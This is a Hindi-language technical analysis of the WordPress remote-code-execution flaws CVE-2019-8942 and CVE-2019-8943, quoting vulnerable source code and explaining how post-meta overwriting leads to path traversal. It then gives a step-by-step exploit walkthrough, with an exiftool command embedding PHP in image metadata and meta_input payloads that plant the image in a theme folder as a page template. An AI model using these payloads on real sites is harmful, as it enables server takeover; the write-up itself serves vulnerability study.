
WordPress RCE भेद्यता CVE-2019-8942 और CVE-2019-8943 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट शोषण, पथ ट्रैवर्सल और छवि अपलोड हेरफेर के माध्यम से LFI-से-RCE का प्रदर्शन।
CVE-2019-8942 एक ऐसा दोष है जो LFI त्रुटि के साथ File Upload सुविधा का उपयोग करके author विशेषाधिकार के साथ WordPress वेब सर्वर पर RCE करता है। प्रभावित WordPress संस्करणों में 4.9.9 से पहले और 5.x के 5.0.1 से पहले के संस्करण शामिल हैं, जो Post Meta के wp_attached_file मान को किसी भी स्ट्रिंग में बदले जाने के कारण दूरस्थ कोड निष्पादन की अनुमति देते हैं, उदाहरण के लिए एक स्ट्रिंग: .jpg?file.php। author विशेषाधिकार वाला हमलावर Exif मेटाडेटा में दुर्भावनापूर्ण PHP कोड वाली छवि फ़ाइलें अपलोड करके कोई भी कोड निष्पादित कर सकता है। शोषण CVE-2019-8943 का उपयोग कर सकता है।
CVE-2019-8943 में, WordPress संस्करण 5.0.3 तक wp_crop_image() विधि में Path traversal दोष है। author (छवि क्रॉपिंग सुविधा का उपयोग करने वाला) विशेषाधिकार वाला हमलावर .jpg?/../../file.jpg जैसे 2 एक्सटेंशन वाले फ़ाइल नाम के आधार पर छवि फ़ाइल को किसी भी निर्देशिका में लिख सकता है।
author विशेषाधिकार वाला उपयोगकर्ता खाता।उपयोगकर्ता द्वारा RCE करने में सक्षम होने का मुख्य कारण Post meta में वह दोष है जिसे अधिलेखित किया जा सकता है।
मेटाडेटा को डेटा का वर्णन करने वाला डेटा समझा जा सकता है; विशेष रूप से इस मामले में, मेटाडेटा ब्लॉग के बारे में जानकारी है जैसे: शीर्षक, प्रकाशन दिनांक, लेखक का नाम,...
WordPress संस्करण 4.9.8 के स्रोत कोड में, जब एक छवि अपडेट की जाती है, तो edit_post() फ़ंक्शन को कॉल किया जाता है। यहाँ ध्यान देने योग्य बात यह है कि यह फ़ंक्शन सीधे $_POST ऐरे के साथ काम करता है। wp_update_post सीधे $post_data को पैरामीटर के रूप में लेता है, बिना यह जाँचे कि कौन से डेटा फ़ील्ड संपादित करने की अनुमति रखते हैं।
function edit_post( $post_data = null ) {
global $wpdb;
if ( empty($post_data) )
$post_data = &$_POST;
...
if ( isset($post_data['meta']) && $post_data['meta'] ) {
foreach ( $post_data['meta'] as $key => $value ) {
if ( !$meta = get_post_meta_by_id( $key ) )
continue;
if ( $meta->post_id != $post_ID )
continue;
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
continue;
if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
continue;
update_meta( $key, $value['key'], $value['value'] );
}
}
...
update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
$success = wp_update_post( $post_data );
if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
$fields = array( 'post_title', 'post_content', 'post_excerpt' );
foreach ( $fields as $field ) {
if ( isset( $post_data[ $field ] ) ) {
$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
}
}
wp_update_post( $post_data );
}
wp-admin/includes/post.php
पोस्ट करने की अनुमति वाला उपयोगकर्ता Post Meta मानों को अधिलेखित कर सकता है। अधिक विशेष रूप से, हमलावर मेटाडेटा _wp_attached_file के मान को संशोधित कर सकता है। इससे फ़ाइल का नाम नहीं बदलेगा; यह केवल उस फ़ाइल को बदल देगा जिसके साथ WordPress संपादन के समय काम करता है। यह Path Traversal शोषण की ओर ले जाता है।

शोषण से पहले
wp_postmeta
यह देखा जा सकता है कि अपलोड की गई फ़ाइल का प्रारूप YYYY/MM/name.jpg है, WordPress फ़ाइल को YYYY/MM/ निर्देशिका में सहेजता है, और हम Path Traversal शोषण से संबंधित हो सकते हैं।
wp_crop_image() फ़ंक्शन में, जब author उपयोगकर्ता छवि क्रॉप करता है, तो WordPress यह सुनिश्चित करने के लिए 2 तरीकों से जाँच करता है कि छवि मौजूद है; पहला तरीका wp-content/uploads निर्देशिका में _wp_attached_file के आधार पर छवि खोजना है।
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
$src_file = $src;
if ( is_numeric( $src ) ) { // Handle int as attachment ID
$src_file = get_attached_file( $src );
if ( ! file_exists( $src_file ) ) {
// If the file doesn't exist, attempt a URL fopen on the src link.
// This can occur with certain file replication plugins.
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
}
$editor = wp_get_image_editor( $src );
...
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
wp-admin/includes/image.php
यदि उपरोक्त विधि विफल हो जाती है, तो WordPress अपने स्वयं के सर्वर से छवि डाउनलोड करने का प्रयास करेगा, wp-content/uploads निर्देशिका और _wp_attached_file में संग्रहीत फ़ाइल नाम वाला URL बनाकर। छवि को सीधे लोकल से लेने के बजाय डाउनलोड करने का प्रयास इसलिए किया जाता है क्योंकि कुछ मामलों में, कुछ प्लगइन्स उस URL के भेजे जाने पर छवि उत्पन्न करते हैं।
जब WordPress wp_get_image_editor() विधि के माध्यम से छवि को सफलतापूर्वक लोड करता है, तो छवि क्रॉपिंग होती है। क्रॉप की गई छवि को फिर फ़ाइल सिस्टम में सहेजा जाता है। फ़ाइल नाम get_post_meta() से लौटाया गया $src चर का मान होगा, जो हमलावर के नियंत्रण में होता है। WordPress wp_mkdir_p() विधि (पंक्ति 9) से एक निर्देशिका बनाएगा, और छवि को save() से वहाँ सहेजेगा। यह देखा जा सकता है कि save() विधि Path Traversal शोषण की जाँच नहीं करती है।
...
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) )
return $src;
if ( ! $dst_file )
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
wp_mkdir_p( dirname( $dst_file ) );
$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
$result = $editor->save( $dst_file );
_wp_attached_file में भेजे गए पेलोड में #/../../ वर्णों का उपयोग करने पर, यदि छवि लोड करने की विधि 1 का उपयोग किया जाता है, तो ऐसा पथ मौजूद नहीं होगा, इसलिए WordPress छवि को लोड करने के लिए विधि 2 का उपयोग करेगा, अर्थात छवि डाउनलोड करने के लिए URL उत्पन्न करेगा। यहाँ पथ इस रूप का होगा http://localhost/wp-admin/wp-content/uploads/YYYY/MM/name.jpg#/name.jpg, क्योंकि यह एक URL है, # (fragment को दर्शाने वाले) के बाद के वर्णों को अनदेखा कर दिया जाएगा। पाया गया फ़ाइल नाम name.jpg#/name.jpg होगा, जिसमें name.jpg# एक निर्देशिका है और यह एक मान्य नाम है। इसके बाद /name.jpg#/../../name.jpg जैसे पेलोड का उपयोग करके Path Traversal का शोषण किया जाता है।

यह देखा जा सकता है कि
_wp_attach_fileया_wp_page_templateजैसे मान फ़ील्ड संशोधित कर दिए गए हैं
Path Traversal से RCE तक
प्रत्येक WordPress पृष्ठ एक थीम का उपयोग करता है और साथ ही उसमें /wp-content/themes/theme_name/ फ़ोल्डर होता है जिसमें टेम्पलेट फ़ाइलें होती हैं। कुछ मामलों में, किसी पोस्ट के लिए थीम चुनना संभव है। उपयोगकर्ता को केवल Post Meta तालिका में _wp_page_template को वांछित फ़ाइल नाम पर सेट करना होता है। हालाँकि, इसकी सीमा यह है कि यह केवल थीम निर्देशिका में मौजूद फ़ाइलों पर प्रभावी होता है। आमतौर पर इस निर्देशिका तक पहुँचा नहीं जा सकता और इसमें फ़ाइलें अपलोड नहीं की जा सकतीं। हालाँकि, हम इस निर्देशिका में फ़ाइलें लिखने के लिए Path Traversal शोषण का लाभ उठा सकते हैं। author हमलावर एक पोस्ट बनाएगा और छवि फ़ाइल को _wp_page_template पैरामीटर के मान में अधिलेखित कर देगा। छवि फ़ाइल में दुर्भावनापूर्ण PHP कोड डाला जाएगा; जब छवि लोड होगी, तो PHP कोड तदनुसार निष्पादित होगा -> RCE।
चरण 1: वेबसाइट द्वारा उपयोग की जाने वाली थीम की पहचान करने के लिए wpscan का उपयोग करें => twentyseventeen

चरण 2: Exiftool टूल का उपयोग करके छवि में दुर्भावनापूर्ण PHP कोड डालें
exiftool demo.jpg -documentname="<?php phpinfo();?>"

चरण 3: author खाते के साथ साइट admin में लॉगिन करें, Media -> Add new -> Upload छवि पर जाएँ।

चरण 4: छवि तक पहुँचें। Edit more details पर क्लिक करें

चरण 5: Update पर क्लिक करें और Burpsuite का उपयोग करके request को intercept करें -> Send to repeater


चरण 6: Edit image पर क्लिक करें, छवि को क्रॉप करें और Save पर क्लिक करें। छवि सहेजने वाले request को intercept करें और Send to repeater करें।


चरण 7: चरण 5 के request का उपयोग करें, request में पैरामीटर &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/file जोड़ें। यह request फ़ोल्डर file.jpg# बनाने और छवि file को इस निर्देशिका में कॉपी करने की तैयारी करेगा।
चरण 8: छवि को सहेजने के लिए चरण 6 का request भेजें। देखें कि फ़ोल्डर file.jpg# बन गया है और छवि निर्देशिका YYYY/MM/file.jpg# में सहेजी गई है।
चरण 9: चरण 7 के समान, चरण 5 के request का उपयोग करें, request में पैरामीटर &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/../../../../themes/twentyseventeen/file जोड़ें। WordPress की निर्देशिका संरचना और थीम का नाम जानने के कारण, हम उपरोक्त पेलोड बना सकते हैं।

चरण 10: छवि को सहेजने के लिए चरण 6 का request भेजें। देखें कि छवि नए पथ के अनुसार सहेजी गई है।

चरण 11: Posts -> Add new पर जाएँ। Publish पर क्लिक करें। Request को intercept करें और Send to repeater करें।

चरण 12: चरण 11 के request का उपयोग करें, पैरामीटर &meta_input[_wp_page_template]=cropped image जोड़ें, जहाँ cropped image चरण 10 की छवि फ़ाइल का नाम है।

चरण 13: उपरोक्त पोस्ट तक पहुँचें और देखें कि छवि में मौजूद दुर्भावनापूर्ण कोड निष्पादित हो गया है।

उपयोग किए गए 3 अनुरोधों वाला Payload:
&meta_input[_wp_attached_file]=year/month/file#/file
&meta_input[_wp_attached_file]=year/month/file#/../../../../themes/twentyseventeen/file
&meta_input[_wp_page_template]=<cropped image>